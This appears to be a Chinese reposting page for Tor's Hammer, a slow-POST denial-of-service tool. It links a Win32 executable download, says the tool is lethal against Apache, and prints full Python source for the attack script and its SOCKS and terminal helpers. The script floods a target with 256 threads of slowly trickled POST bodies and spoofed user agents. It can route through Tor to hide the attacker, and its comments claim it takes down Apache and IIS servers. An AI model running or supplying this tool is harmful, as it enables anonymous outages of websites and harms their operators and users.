slow post ddos tools torshammer (win32可执行下载)

来源:互联网 发布:jmeter相应数据 编辑:程序博客网 时间:2024/05/20 05:28

torshammer

win32 可执行exe下载:

http://howfile.com/file/2611e8a1/9c6c9f8f/


是针对慢速 post的攻击,针对apache兼职是绝杀




socket.py

"""SocksiPy - Python SOCKS module.Version 1.00Copyright 2006 Dan-Haim. All rights reserved.Redistribution and use in source and binary forms, with or without modification,are permitted provided that the following conditions are met:1. Redistributions of source code must retain the above copyright notice, this   list of conditions and the following disclaimer.2. Redistributions in binary form must reproduce the above copyright notice,   this list of conditions and the following disclaimer in the documentation   and/or other materials provided with the distribution.3. Neither the name of Dan Haim nor the names of his contributors may be used   to endorse or promote products derived from this software without specific   prior written permission.   THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIEDWARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OFMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NOEVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOTLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATAOR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OFLIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUTOF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE.This module provides a standard socket-like interface for Pythonfor tunneling connections through SOCKS proxies."""import socketimport structPROXY_TYPE_SOCKS4 = 1PROXY_TYPE_SOCKS5 = 2PROXY_TYPE_HTTP = 3_defaultproxy = None_orgsocket = socket.socketclass ProxyError(Exception):def __init__(self, value):self.value = valuedef __str__(self):return repr(self.value)class GeneralProxyError(ProxyError):def __init__(self, value):self.value = valuedef __str__(self):return repr(self.value)class Socks5AuthError(ProxyError):def __init__(self, value):self.value = valuedef __str__(self):return repr(self.value)class Socks5Error(ProxyError):def __init__(self, value):self.value = valuedef __str__(self):return repr(self.value)class Socks4Error(ProxyError):def __init__(self, value):self.value = valuedef __str__(self):return repr(self.value)class HTTPError(ProxyError):def __init__(self, value):self.value = valuedef __str__(self):return repr(self.value)_generalerrors = ("success",   "invalid data",   "not connected",   "not available",   "bad proxy type",   "bad input")_socks5errors = ("succeeded",  "general SOCKS server failure",  "connection not allowed by ruleset",  "Network unreachable",  "Host unreachable",  "Connection refused",  "TTL expired",  "Command not supported",  "Address type not supported",  "Unknown error")_socks5autherrors = ("succeeded",      "authentication is required",      "all offered authentication methods were rejected",      "unknown username or invalid password",      "unknown error")_socks4errors = ("request granted",  "request rejected or failed",  "request rejected because SOCKS server cannot connect to identd on the client",  "request rejected because the client program and identd report different user-ids",  "unknown error")def setdefaultproxy(proxytype=None,addr=None,port=None,rdns=True,username=None,password=None):"""setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]])Sets a default proxy which all further socksocket objects will use,unless explicitly changed."""global _defaultproxy_defaultproxy = (proxytype,addr,port,rdns,username,password)class socksocket(socket.socket):"""socksocket([family[, type[, proto]]]) -> socket objectOpen a SOCKS enabled socket. The parameters are the same asthose of the standard socket init. In order for SOCKS to work,you must specify family=AF_INET, type=SOCK_STREAM and proto=0."""def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None):_orgsocket.__init__(self,family,type,proto,_sock)if _defaultproxy != None:self.__proxy = _defaultproxyelse:self.__proxy = (None, None, None, None, None, None)self.__proxysockname = Noneself.__proxypeername = Nonedef __recvall(self, bytes):"""__recvall(bytes) -> dataReceive EXACTLY the number of bytes requested from the socket.Blocks until the required number of bytes have been received."""data = ""while len(data) < bytes:data = data + self.recv(bytes-len(data))return datadef setproxy(self,proxytype=None,addr=None,port=None,rdns=True,username=None,password=None):"""setproxy(proxytype, addr[, port[, rdns[, username[, password]]]])Sets the proxy to be used.proxytype -The type of the proxy to be used. Three typesare supported: PROXY_TYPE_SOCKS4 (including socks4a),PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTPaddr -The address of the server (IP or DNS).port -The port of the server. Defaults to 1080 for SOCKSservers and 8080 for HTTP proxy servers.rdns -Should DNS queries be preformed on the remote side(rather than the local side). The default is True.Note: This has no effect with SOCKS4 servers.username -Username to authenticate with to the server.The default is no authentication.password -Password to authenticate with to the server.Only relevant when username is also provided."""self.__proxy = (proxytype,addr,port,rdns,username,password)def __negotiatesocks5(self,destaddr,destport):"""__negotiatesocks5(self,destaddr,destport)Negotiates a connection through a SOCKS5 server."""# First we'll send the authentication packages we support.if (self.__proxy[4]!=None) and (self.__proxy[5]!=None):# The username/password details were supplied to the# setproxy method so we support the USERNAME/PASSWORD# authentication (in addition to the standard none).self.sendall("\x05\x02\x00\x02")else:# No username/password were entered, therefore we# only support connections with no authentication.self.sendall("\x05\x01\x00")# We'll receive the server's response to determine which# method was selectedchosenauth = self.__recvall(2)if chosenauth[0] != "\x05":self.close()raise GeneralProxyError((1,_generalerrors[1]))# Check the chosen authentication methodif chosenauth[1] == "\x00":# No authentication is requiredpasselif chosenauth[1] == "\x02":# Okay, we need to perform a basic username/password# authentication.self.sendall("\x01" + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.proxy[5])) + self.__proxy[5])authstat = self.__recvall(2)if authstat[0] != "\x01":# Bad responseself.close()raise GeneralProxyError((1,_generalerrors[1]))if authstat[1] != "\x00":# Authentication failedself.close()raise Socks5AuthError,((3,_socks5autherrors[3]))# Authentication succeededelse:# Reaching here is always badself.close()if chosenauth[1] == "\xFF":raise Socks5AuthError((2,_socks5autherrors[2]))else:raise GeneralProxyError((1,_generalerrors[1]))# Now we can request the actual connectionreq = "\x05\x01\x00"# If the given destination address is an IP address, we'll# use the IPv4 address request even if remote resolving was specified.try:ipaddr = socket.inet_aton(destaddr)req = req + "\x01" + ipaddrexcept socket.error:# Well it's not an IP number,  so it's probably a DNS name.if self.__proxy[3]==True:# Resolve remotelyipaddr = Nonereq = req + "\x03" + chr(len(destaddr)) + destaddrelse:# Resolve locallyipaddr = socket.inet_aton(socket.gethostbyname(destaddr))req = req + "\x01" + ipaddrreq = req + struct.pack(">H",destport)self.sendall(req)# Get the responseresp = self.__recvall(4)if resp[0] != "\x05":self.close()raise GeneralProxyError((1,_generalerrors[1]))elif resp[1] != "\x00":# Connection failedself.close()if ord(resp[1])<=8:raise Socks5Error(ord(resp[1]),_generalerrors[ord(resp[1])])else:raise Socks5Error(9,_generalerrors[9])# Get the bound address/portelif resp[3] == "\x01":boundaddr = self.__recvall(4)elif resp[3] == "\x03":resp = resp + self.recv(1)boundaddr = self.__recvall(resp[4])else:self.close()raise GeneralProxyError((1,_generalerrors[1]))boundport = struct.unpack(">H",self.__recvall(2))[0]self.__proxysockname = (boundaddr,boundport)if ipaddr != None:self.__proxypeername = (socket.inet_ntoa(ipaddr),destport)else:self.__proxypeername = (destaddr,destport)def getproxysockname(self):"""getsockname() -> address infoReturns the bound IP address and port number at the proxy."""return self.__proxysocknamedef getproxypeername(self):"""getproxypeername() -> address infoReturns the IP and port number of the proxy."""return _orgsocket.getpeername(self)def getpeername(self):"""getpeername() -> address infoReturns the IP address and port number of the destinationmachine (note: getproxypeername returns the proxy)"""return self.__proxypeernamedef __negotiatesocks4(self,destaddr,destport):"""__negotiatesocks4(self,destaddr,destport)Negotiates a connection through a SOCKS4 server."""# Check if the destination address provided is an IP addressrmtrslv = Falsetry:ipaddr = socket.inet_aton(destaddr)except socket.error:# It's a DNS name. Check where it should be resolved.if self.__proxy[3]==True:ipaddr = "\x00\x00\x00\x01"rmtrslv = Trueelse:ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))# Construct the request packetreq = "\x04\x01" + struct.pack(">H",destport) + ipaddr# The username parameter is considered userid for SOCKS4if self.__proxy[4] != None:req = req + self.__proxy[4]req = req + "\x00"# DNS name if remote resolving is required# NOTE: This is actually an extension to the SOCKS4 protocol# called SOCKS4A and may not be supported in all cases.if rmtrslv==True:req = req + destaddr + "\x00"self.sendall(req)# Get the response from the serverresp = self.__recvall(8)if resp[0] != "\x00":# Bad dataself.close()raise GeneralProxyError((1,_generalerrors[1]))if resp[1] != "\x5A":# Server returned an errorself.close()if ord(resp[1]) in (91,92,93):self.close()raise Socks4Error((ord(resp[1]),_socks4errors[ord(resp[1])-90]))else:raise Socks4Error((94,_socks4errors[4]))# Get the bound address/portself.__proxysockname = (socket.inet_ntoa(resp[4:]),struct.unpack(">H",resp[2:4])[0])if rmtrslv != None:self.__proxypeername = (socket.inet_ntoa(ipaddr),destport)else:self.__proxypeername = (destaddr,destport)def __negotiatehttp(self,destaddr,destport):"""__negotiatehttp(self,destaddr,destport)Negotiates a connection through an HTTP server."""# If we need to resolve locally, we do this nowif self.__proxy[3] == False:addr = socket.gethostbyname(destaddr)else:addr = destaddrself.sendall("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n")# We read the response until we get the string "\r\n\r\n"resp = self.recv(1)while resp.find("\r\n\r\n")==-1:resp = resp + self.recv(1)# We just need the first line to check if the connection# was successfulstatusline = resp.splitlines()[0].split(" ",2)if statusline[0] not in ("HTTP/1.0","HTTP/1.1"):self.close()raise GeneralProxyError((1,_generalerrors[1]))try:statuscode = int(statusline[1])except ValueError:self.close()raise GeneralProxyError((1,_generalerrors[1]))if statuscode != 200:self.close()raise HTTPError((statuscode,statusline[2]))self.__proxysockname = ("0.0.0.0",0)self.__proxypeername = (addr,destport)def connect(self,destpair):"""connect(self,despair)Connects to the specified destination through a proxy.destpar - A tuple of the IP/DNS address and the port number.(identical to socket's connect).To select the proxy server use setproxy()."""# Do a minimal input check firstif (type(destpair) in (list,tuple)==False) or (len(destpair)<2) or (type(destpair[0])!=str) or (type(destpair[1])!=int):raise GeneralProxyError((5,_generalerrors[5]))if self.__proxy[0] == PROXY_TYPE_SOCKS5:if self.__proxy[2] != None:portnum = self.__proxy[2]else:portnum = 1080_orgsocket.connect(self,(self.__proxy[1],portnum))self.__negotiatesocks5(destpair[0],destpair[1])elif self.__proxy[0] == PROXY_TYPE_SOCKS4:if self.__proxy[2] != None:portnum = self.__proxy[2]else:portnum = 1080_orgsocket.connect(self,(self.__proxy[1],portnum))self.__negotiatesocks4(destpair[0],destpair[1])elif self.__proxy[0] == PROXY_TYPE_HTTP:if self.__proxy[2] != None:portnum = self.__proxy[2]else:portnum = 8080_orgsocket.connect(self,(self.__proxy[1],portnum))self.__negotiatehttp(destpair[0],destpair[1])elif self.__proxy[0] == None:_orgsocket.connect(self,(destpair[0],destpair[1]))else:raise GeneralProxyError((4,_generalerrors[4]))

terminal.py

import sys, reclass TerminalController:    """    A class that can be used to portably generate formatted output to    a terminal.          `TerminalController` defines a set of instance variables whose    values are initialized to the control sequence necessary to    perform a given action.  These can be simply included in normal    output to the terminal:        >>> term = TerminalController()        >>> print 'This is '+term.GREEN+'green'+term.NORMAL    Alternatively, the `render()` method can used, which replaces    '${action}' with the string required to perform 'action':        >>> term = TerminalController()        >>> print term.render('This is ${GREEN}green${NORMAL}')    If the terminal doesn't support a given action, then the value of    the corresponding instance variable will be set to ''.  As a    result, the above code will still work on terminals that do not    support color, except that their output will not be colored.    Also, this means that you can test whether the terminal supports a    given action by simply testing the truth value of the    corresponding instance variable:        >>> term = TerminalController()        >>> if term.CLEAR_SCREEN:        ...     print 'This terminal supports clearning the screen.'    Finally, if the width and height of the terminal are known, then    they will be stored in the `COLS` and `LINES` attributes.    """    # Cursor movement:    BOL = ''             #: Move the cursor to the beginning of the line    UP = ''              #: Move the cursor up one line    DOWN = ''            #: Move the cursor down one line    LEFT = ''            #: Move the cursor left one char    RIGHT = ''           #: Move the cursor right one char    # Deletion:    CLEAR_SCREEN = ''    #: Clear the screen and move to home position    CLEAR_EOL = ''       #: Clear to the end of the line.    CLEAR_BOL = ''       #: Clear to the beginning of the line.    CLEAR_EOS = ''       #: Clear to the end of the screen    # Output modes:    BOLD = ''            #: Turn on bold mode    BLINK = ''           #: Turn on blink mode    DIM = ''             #: Turn on half-bright mode    REVERSE = ''         #: Turn on reverse-video mode    NORMAL = ''          #: Turn off all modes    # Cursor display:    HIDE_CURSOR = ''     #: Make the cursor invisible    SHOW_CURSOR = ''     #: Make the cursor visible    # Terminal size:    COLS = None          #: Width of the terminal (None for unknown)    LINES = None         #: Height of the terminal (None for unknown)    # Foreground colors:    BLACK = BLUE = GREEN = CYAN = RED = MAGENTA = YELLOW = WHITE = ''        # Background colors:    BG_BLACK = BG_BLUE = BG_GREEN = BG_CYAN = ''    BG_RED = BG_MAGENTA = BG_YELLOW = BG_WHITE = ''        _STRING_CAPABILITIES = """    BOL=cr UP=cuu1 DOWN=cud1 LEFT=cub1 RIGHT=cuf1    CLEAR_SCREEN=clear CLEAR_EOL=el CLEAR_BOL=el1 CLEAR_EOS=ed BOLD=bold    BLINK=blink DIM=dim REVERSE=rev UNDERLINE=smul NORMAL=sgr0    HIDE_CURSOR=cinvis SHOW_CURSOR=cnorm""".split()    _COLORS = """BLACK BLUE GREEN CYAN RED MAGENTA YELLOW WHITE""".split()    def __init__(self, term_stream=sys.stdout):        """        Create a `TerminalController` and initialize its attributes        with appropriate values for the current terminal.        `term_stream` is the stream that will be used for terminal        output; if this stream is not a tty, then the terminal is        assumed to be a dumb terminal (i.e., have no capabilities).        """        # Curses isn't available on all platforms        try: import curses        except: return        # If the stream isn't a tty, then assume it has no capabilities.        if not term_stream.isatty(): return        # Check the terminal type.  If we fail, then assume that the        # terminal has no capabilities.        try: curses.setupterm()        except: return        # Look up numeric capabilities.        self.COLS = curses.tigetnum('cols')        self.LINES = curses.tigetnum('lines')                # Look up string capabilities.        for capability in self._STRING_CAPABILITIES:            (attrib, cap_name) = capability.split('=')            setattr(self, attrib, self._tigetstr(cap_name) or '')        # Colors        set_fg = self._tigetstr('setf')        if set_fg:            for i,color in zip(range(len(self._COLORS)), self._COLORS):                setattr(self, color, curses.tparm(set_fg, i) or '')        set_bg = self._tigetstr('setb')        if set_bg:            for i,color in zip(range(len(self._COLORS)), self._COLORS):                setattr(self, 'BG_'+color, curses.tparm(set_bg, i) or '')    def _tigetstr(self, cap_name):        # String capabilities can include "delays" of the form "$<2>".        # For any modern terminal, we should be able to just ignore        # these, so strip them out.        import curses        cap = curses.tigetstr(cap_name) or ''        return re.sub(r'\$<\d+>[/*]?', '', cap)    def render(self, template):        """        Replace each $-substitutions in the given template string with        the corresponding terminal control string (if it's defined) or        '' (if it's not).        """        return re.sub(r'\$\$|\${\w+}', self._render_sub, template)    def _render_sub(self, match):        s = match.group()        if s == '$$': return s        else: return getattr(self, s[2:-1])######################################################################## Example use case: progress bar#######################################################################class ProgressBar:    """    A 3-line progress bar, which looks like::                                    Header        20% [===========----------------------------------]                           progress message    The progress bar is colored, if the terminal supports color    output; and adjusts to the width of the terminal.    """    BAR = '%3d%% ${GREEN}[${BOLD}%s%s${NORMAL}${GREEN}]${NORMAL}\n'    HEADER = '${BOLD}${CYAN}%s${NORMAL}\n\n'            def __init__(self, term, header):        self.term = term        if not (self.term.CLEAR_EOL and self.term.UP and self.term.BOL):            raise ValueError("Terminal isn't capable enough -- you "                             "should use a simpler progress dispaly.")        self.width = self.term.COLS or 75        self.bar = term.render(self.BAR)        self.header = self.term.render(self.HEADER % header.center(self.width))        self.cleared = 1 #: true if we haven't drawn the bar yet.        self.update(0, '')    def update(self, percent, message):        if self.cleared:            sys.stdout.write(self.header)            self.cleared = 0        n = int((self.width-10)*percent)        sys.stdout.write(            self.term.BOL + self.term.UP + self.term.CLEAR_EOL +            (self.bar % (100*percent, '='*n, '-'*(self.width-10-n))) +            self.term.CLEAR_EOL + message.center(self.width))    def clear(self):        if not self.cleared:            sys.stdout.write(self.term.BOL + self.term.CLEAR_EOL +                             self.term.UP + self.term.CLEAR_EOL +                             self.term.UP + self.term.CLEAR_EOL)            self.cleared = 1

torshammer.py

#!/usr/bin/python# this assumes you have the socks.py (http://phiral.net/socks.py) # and terminal.py (http://phiral.net/terminal.py) in the# same directory and that you have tor running locally # on port 9050. run with 128 to 256 threads to be effective.# kills apache 1.X with ~128, apache 2.X / IIS with ~256# not effective on nginximport osimport reimport timeimport sysimport randomimport mathimport getoptimport socksimport stringimport terminalfrom threading import Threadglobal stop_nowglobal termstop_now = Falseterm = terminal.TerminalController()useragents = [ "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)", "Googlebot/2.1 (http://www.googlebot.com/bot.html)", "Opera/9.20 (Windows NT 6.0; U; en)", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)", "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0", "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16", "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", # maybe not "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)", "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"]class httpPost(Thread):    def __init__(self, host, port, tor):        Thread.__init__(self)        self.host = host        self.port = port        self.socks = socks.socksocket()        self.tor = tor        self.running = True    def _send_http_post(self, pause=10):        global stop_now        self.socks.send("POST / HTTP/1.1\r\n"                        "Host: %s\r\n"                        "User-Agent: %s\r\n"                        "Connection: keep-alive\r\n"                        "Keep-Alive: 900\r\n"                        "Content-Length: 10000\r\n"                        "Content-Type: application/x-www-form-urlencoded\r\n\r\n" %                         (self.host, random.choice(useragents)))        for i in range(0, 9999):            if stop_now:                self.running = False                break            p = random.choice(string.letters+string.digits)            print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL            self.socks.send(p)            time.sleep(random.uniform(0.1, 3))        self.socks.close()    def run(self):        while self.running:            while self.running:                try:                    if self.tor:                             self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)                    self.socks.connect((self.host, self.port))                    print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL                    break                except Exception, e:                    if e.args[0] == 106 or e.args[0] == 60:                        break                    print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL                    time.sleep(1)                    continue            while self.running:                try:                    self._send_http_post()                except Exception, e:                    if e.args[0] == 32 or e.args[0] == 104:                        print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL                        self.socks = socks.socksocket()                        break                    time.sleep(0.1)                    pass def usage():    print "./torshammer.py -t <target> [-r <threads> -p <port> -T -h]"    print " -t|--target <Hostname|IP>"    print " -r|--threads <Number of threads> Defaults to 256"    print " -p|--port <Web Server Port> Defaults to 80"    print " -T|--tor Enable anonymising through tor on 127.0.0.1:9050"    print " -h|--help Shows this help\n"     print "Eg. ./torshammer.py -t 192.168.1.100 -r 256\n"def main(argv):        try:        opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])    except getopt.GetoptError:        usage()         sys.exit(-1)    global stop_now    target = ''    threads = 256    tor = False    port = 80    for o, a in opts:        if o in ("-h", "--help"):            usage()            sys.exit(0)        if o in ("-T", "--tor"):            tor = True        elif o in ("-t", "--target"):            target = a        elif o in ("-r", "--threads"):            threads = int(a)        elif o in ("-p", "--port"):            port = int(a)    if target == '' or int(threads) <= 0:        usage()        sys.exit(-1)    print term.DOWN + term.RED + "/*" + term.NORMAL    print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL    print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL    print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL    print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL    rthreads = []    for i in range(threads):        t = httpPost(target, port, tor)        rthreads.append(t)        t.start()    while len(rthreads) > 0:        try:            rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]        except KeyboardInterrupt:            print "\nShutting down threads...\n"            for t in rthreads:                stop_now = True                t.running = Falseif __name__ == "__main__":    print "\n/*"    print " *"+term.RED + " Tor's Hammer "+term.NORMAL    print " * Slow POST DoS Testing Tool"    print " * entropy [at] phiral.net"    print " * Anon-ymized via Tor"    print " * We are Legion."    print " */\n"    main(sys.argv[1:])